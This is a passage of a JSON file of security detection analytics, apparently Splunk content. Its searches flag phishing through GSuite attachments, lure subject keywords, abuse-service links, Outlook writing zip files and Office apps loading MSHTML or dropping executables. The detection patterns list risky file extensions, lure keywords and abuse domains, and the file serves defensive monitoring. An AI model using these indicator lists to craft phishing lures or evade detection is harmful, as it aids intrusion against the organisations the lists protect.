`security_content_ctime(lastTime)` | `azure_ad_device_code_authentication_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Device code requested for $user$ from $src_ip$", - "risk_score": 35, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1528", - "mitre_attack_technique": "Steal Application Access Token", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29" - ] - }, - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.002", - "mitre_attack_technique": "Spearphishing Link", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT39", - "BlackTech", - "Cobalt Group", - "Confucius", - "EXOTIC LILY", - "Earth Lusca", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN4", - "FIN7", - "FIN8", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Machete", - "Magic Hound", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "OilRig", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "TA2541", - "TA505", - "Transparent Tribe", - "Turla", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Gdrive suspicious file sharing", - "description": "The following analytic identifies suspicious file-sharing activity on Google Drive, where internal users share documents with more than 50 external recipients. It leverages GSuite Drive logs, focusing on changes in user access and filtering for emails outside the organization's domain. This activity is significant as it may indicate compromised accounts or intentional data exfiltration. If confirmed malicious, this behavior could lead to unauthorized access to sensitive information, data leaks, and potential compliance violations.", - "search": "`gsuite_drive` name=change_user_access | rename parameters.* as * | search email = \"*@yourdomain.com\" target_user != \"*@yourdomain.com\" | stats count values(owner) as owner values(target_user) as target values(doc_type) as doc_type values(doc_title) as doc_title dc(target_user) as distinct_target by src_ip email | where distinct_target > 50 | `gdrive_suspicious_file_sharing_filter`", - "tags": { - "analytic_story": [ - "Data Exfiltration", - "Spearphishing Attachments" - ], - "asset_type": "GDrive", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - } - ] - } - }, - { - "name": "GSuite Email Suspicious Attachment", - "description": "The following analytic detects suspicious attachment file extensions in GSuite emails, potentially indicating a spear-phishing attack. It leverages GSuite Gmail logs to identify emails with attachments having file extensions commonly associated with malware, such as .exe, .bat, and .js. This activity is significant as these file types are often used to deliver malicious payloads, posing a risk of compromising targeted machines. If confirmed malicious, this could lead to unauthorized code execution, data breaches, or further network infiltration.", - "search": "`gsuite_gmail` \"attachment{}.file_extension_type\" IN (\"pl\", \"py\", \"rb\", \"sh\", \"bat\", \"exe\", \"dll\", \"cpl\", \"com\", \"js\", \"vbs\", \"ps1\", \"reg\",\"swf\", \"cmd\", \"go\") | eval phase=\"plan\" | eval severity=\"medium\" | stats count min(_time) as firstTime max(_time) as lastTime values(attachment{}.file_extension_type) as email_attachments, values(attachment{}.sha256) as attachment_sha256, values(payload_size) as payload_size by destination{}.service num_message_attachments subject destination{}.address source.address phase severity | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `gsuite_email_suspicious_attachment_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "GSuite", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "source.address", - "type": "Email Address", - "role": [ - "Attacker" - ] - }, - { - "name": "destination{}.address", - "type": "Email Address", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious email from $source.address$ to $destination{}.address$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - } - ] - } - }, - { - "name": "Gsuite Email Suspicious Subject With Attachment", - "description": "The following analytic identifies Gsuite emails with suspicious subjects and attachments commonly used in spear phishing attacks. It leverages Gsuite email logs, focusing on specific keywords in the subject line and known malicious file types in attachments. This activity is significant for a SOC as spear phishing is a prevalent method for initial compromise, often leading to further malicious actions. If confirmed malicious, this activity could result in unauthorized access, data exfiltration, or further malware deployment, posing a significant risk to the organization's security.", - "search": "`gsuite_gmail` num_message_attachments > 0 subject IN (\"*dhl*\", \"* ups *\", \"*delivery*\", \"*parcel*\", \"*label*\", \"*invoice*\", \"*postal*\", \"* fedex *\", \"* usps *\", \"* express *\", \"*shipment*\", \"*Banking/Tax*\",\"*shipment*\", \"*new order*\") attachment{}.file_extension_type IN (\"doc\", \"docx\", \"xls\", \"xlsx\", \"ppt\", \"pptx\", \"pdf\", \"zip\", \"rar\", \"html\",\"htm\",\"hta\") | rex field=source.from_header_address \"[^@]+@(?[^@]+)\" | rex field=destination{}.address \"[^@]+@(?[^@]+)\" | where not source_domain=\"internal_test_email.com\" and dest_domain=\"internal_test_email.com\" | eval phase=\"plan\" | eval severity=\"medium\" | stats count min(_time) as firstTime max(_time) as lastTime values(attachment{}.file_extension_type) as email_attachments, values(attachment{}.sha256) as attachment_sha256, values(payload_size) as payload_size by destination{}.service num_message_attachments subject destination{}.address source.address phase severity | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `gsuite_email_suspicious_subject_with_attachment_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "GSuite", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "destination{}.address", - "type": "Email Address", - "role": [ - "Victim" - ] - }, - { - "name": "source.address", - "type": "Email Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Suspicious email from $source.address$ to $destination{}.address$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - } - ] - } - }, - { - "name": "Gsuite Email With Known Abuse Web Service Link", - "description": "The following analytic detects emails in Gsuite containing links to known abuse web services such as Pastebin, Telegram, and Discord. It leverages Gsuite Gmail logs to identify emails with these specific domains in their links. This activity is significant because these services are commonly used by attackers to deliver malicious payloads. If confirmed malicious, this could lead to the delivery of malware, phishing attacks, or other harmful activities, potentially compromising sensitive information or systems within the organization.", - "search": "`gsuite_gmail` \"link_domain{}\" IN (\"*pastebin.com*\", \"*discord*\", \"*telegram*\",\"t.me\") | rex field=source.from_header_address \"[^@]+@(?[^@]+)\" | rex field=destination{}.address \"[^@]+@(?[^@]+)\" | where not source_domain=\"internal_test_email.com\" and dest_domain=\"internal_test_email.com\" | eval phase=\"plan\" | eval severity=\"low\" |stats values(link_domain{}) as link_domains min(_time) as firstTime max(_time) as lastTime count by is_spam source.address source.from_header_address subject destination{}.address phase severity | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `gsuite_email_with_known_abuse_web_service_link_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "GSuite", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "destination{}.address", - "type": "Email Address", - "role": [ - "Victim" - ] - }, - { - "name": "source.address", - "type": "Email Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Suspicious email from $source.address$ to $destination{}.address$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - } - ] - } - }, - { - "name": "Gsuite suspicious calendar invite", - "description": "The following analytic detects suspicious calendar invites sent via GSuite, potentially indicating compromised accounts or malicious internal activity. It leverages GSuite calendar logs, focusing on events where a high volume of invites (over 100) is sent within a 5-minute window. This behavior is significant as it may involve the distribution of malicious links or attachments, posing a security risk. If confirmed malicious, this activity could lead to widespread phishing attacks, unauthorized access, or malware distribution within the organization.", - "search": "`gsuite_calendar` |bin span=5m _time |rename parameters.* as * |search target_calendar_id!=null email=\"*yourdomain.com\"| stats count values(target_calendar_id) values(event_title) values(event_guest) by email _time | where count >100| `gsuite_suspicious_calendar_invite_filter`", - "tags": { - "analytic_story": [ - "Spearphishing Attachments" - ], - "asset_type": "GSuite", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "email", - "type": "Email Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Gsuite suspicious calendar invite sent by $email$", - "risk_score": 25, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - } - ] - } - }, - { - "name": "Gsuite Suspicious Shared File Name", - "description": "The following analytic detects shared files in Google Drive with suspicious filenames commonly used in spear phishing campaigns. It leverages GSuite Drive logs to identify documents with titles that include keywords like \"dhl,\" \"ups,\" \"invoice,\" and \"shipment.\" This activity is significant because such filenames are often used to lure users into opening malicious documents or clicking harmful links. If confirmed malicious, this activity could lead to unauthorized access, data theft, or further compromise of the user's system.", - "search": "`gsuite_drive` parameters.owner_is_team_drive=false \"parameters.doc_title\" IN (\"*dhl*\", \"* ups *\", \"*delivery*\", \"*parcel*\", \"*label*\", \"*invoice*\", \"*postal*\", \"*fedex*\", \"* usps *\", \"* express *\", \"*shipment*\", \"*Banking/Tax*\",\"*shipment*\", \"*new order*\") parameters.doc_type IN (\"document\",\"pdf\", \"msexcel\", \"msword\", \"spreadsheet\", \"presentation\") | rex field=parameters.owner \"[^@]+@(?[^@]+)\" | rex field=parameters.target_user \"[^@]+@(?[^@]+)\" | where not source_domain=\"internal_test_email.com\" and dest_domain=\"internal_test_email.com\" | eval phase=\"plan\" | eval severity=\"low\" | stats count min(_time) as firstTime max(_time) as lastTime by email parameters.owner parameters.target_user parameters.doc_title parameters.doc_type phase severity | rename parameters.target_user AS user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `gsuite_suspicious_shared_file_name_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "GSuite", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "parameters.owner", - "type": "User", - "role": [ - "Attacker" - ] - }, - { - "name": "email", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "suspicious share gdrive from $parameters.owner$ to $email$ namely as $parameters.doc_title$", - "risk_score": 21, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - } - ] - } - }, - { - "name": "Suspicious Email - UBA Anomaly", - "description": "This detection looks for emails that are suspicious because of their sender, domain rareness, or behavior differences. This is an anomaly generated by Splunk User Behavior Analytics (UBA).", - "search": "|tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime values(All_UEBA_Events.category) as category from datamodel=UEBA where nodename=All_UEBA_Events.UEBA_Anomalies All_UEBA_Events.UEBA_Anomalies.uba_model = \"SuspiciousEmailDetectionModel\" by All_UEBA_Events.description All_UEBA_Events.severity All_UEBA_Events.user All_UEBA_Events.uba_event_type All_UEBA_Events.link All_UEBA_Events.signature All_UEBA_Events.url All_UEBA_Events.UEBA_Anomalies.uba_model | `drop_dm_object_name(All_UEBA_Events)` | `drop_dm_object_name(UEBA_Anomalies)`| `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `suspicious_email___uba_anomaly_filter`", - "tags": { - "analytic_story": [ - "Suspicious Emails" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - } - ] - } - }, - { - "name": "Detect Outlook exe writing a zip file", - "description": "The following analytic identifies the execution of `outlook.exe` writing a `.zip` file to the disk. It leverages data from the Endpoint data model, specifically monitoring process and filesystem activities. This behavior is significant as it may indicate the use of Outlook to deliver malicious payloads or exfiltrate data via compressed files. If confirmed malicious, this activity could lead to unauthorized data access, data exfiltration, or the delivery of malware, potentially compromising the security of the affected system and network.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes where Processes.process_name=outlook.exe by _time span=5m Processes.parent_process_id Processes.process_id Processes.dest Processes.process_name Processes.parent_process_name Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | rename process_id as malicious_id| rename parent_process_id as outlook_id| join malicious_id type=inner[| tstats `security_content_summariesonly` count values(Filesystem.file_path) as file_path values(Filesystem.file_name) as file_name FROM datamodel=Endpoint.Filesystem where (Filesystem.file_path=*.zip* OR Filesystem.file_name=*.lnk ) AND (Filesystem.file_path=C:\\\\Users* OR Filesystem.file_path=*Local\\\\Temp*) by _time span=5m Filesystem.process_id Filesystem.file_hash Filesystem.dest | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | rename process_id as malicious_id| fields malicious_id outlook_id dest file_path file_name file_hash count file_id] | table firstTime lastTime user malicious_id outlook_id process_name parent_process_name file_name file_path | where file_name != \"\" | `detect_outlook_exe_writing_a_zip_file_filter`", - "tags": { - "analytic_story": [ - "Amadey", - "Remcos", - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "MSHTML Module Load in Office Product", - "description": "The following analytic detects the loading of the mshtml.dll module into an Office product, which is indicative of CVE-2021-40444 exploitation. It leverages Sysmon EventID 7 to monitor image loads by specific Office processes. This activity is significant because it can indicate an attempt to exploit a vulnerability in the MSHTML component via a malicious document. If confirmed malicious, this could allow an attacker to execute arbitrary code, potentially leading to system compromise, data exfiltration, or further network penetration.", - "search": "`sysmon` EventID=7 process_name IN (\"winword.exe\",\"excel.exe\",\"powerpnt.exe\",\"mspub.exe\",\"visio.exe\",\"wordpad.exe\",\"wordview.exe\",\"onenote.exe\",\"onenotem.exe\",\"onenoteviewer.exe\",\"onenoteim.exe\", \"msaccess.exe\",\"Graph.exe\",\"winproj.exe\") loaded_file_path IN (\"*\\\\mshtml.dll\", \"*\\\\Microsoft.mshtml.dll\",\"*\\\\IE.Interop.MSHTML.dll\",\"*\\\\MshtmlDac.dll\",\"*\\\\MshtmlDed.dll\",\"*\\\\MshtmlDer.dll\") | stats count min(_time) as firstTime max(_time) as lastTime by user_id, dest, process_name, loaded_file, loaded_file_path, original_file_name, process_guid | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `mshtml_module_load_in_office_product_filter`", - "tags": { - "analytic_story": [ - "CVE-2023-36884 Office and Windows HTML RCE Vulnerability", - "Microsoft MSHTML Remote Code Execution CVE-2021-40444", - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "An instance of $process_name$ was identified on endpoint $dest$ loading mshtml.dll.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Office Application Drop Executable", - "description": "The following analytic detects Microsoft Office applications dropping or creating executables or scripts on a Windows OS. It leverages process creation and file system events from the Endpoint data model to identify Office applications like Word or Excel generating files with extensions such as .exe, .dll, or .ps1. This behavior is significant as it is often associated with spear-phishing attacks where malicious files are dropped to compromise the host. If confirmed malicious, this activity could lead to code execution, privilege escalation, or persistent access, posing a severe threat to the environment.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where Processes.process_name IN (\"winword.exe\",\"excel.exe\",\"powerpnt.exe\",\"mspub.exe\",\"visio.exe\",\"wordpad.exe\",\"wordview.exe\",\"onenote.exe\",\"onenotem.exe\",\"onenoteviewer.exe\",\"onenoteim.exe\",\"msaccess.exe\") by _time span=1h Processes.process_id Processes.process_name Processes.process Processes.dest Processes.process_guid | `drop_dm_object_name(Processes)` |join process_guid, _time [| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_name IN (\"*.exe\",\"*.dll\",\"*.pif\",\"*.scr\",\"*.js\",\"*.vbs\",\"*.vbe\",\"*.ps1\") by _time span=1h Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.process_guid Filesystem.file_path | `drop_dm_object_name(Filesystem)` | fields _time dest file_create_time file_name file_path process_name process_path process process_guid] | dedup file_create_time | table dest, process_name, process, file_create_time, file_name, file_path, process_guid | `office_application_drop_executable_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "CVE-2023-21716 Word RTF Heap Corruption", - "FIN7", - "PlugX", - "Warzone RAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "process $process_name$ drops a file $file_name$ in host $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - 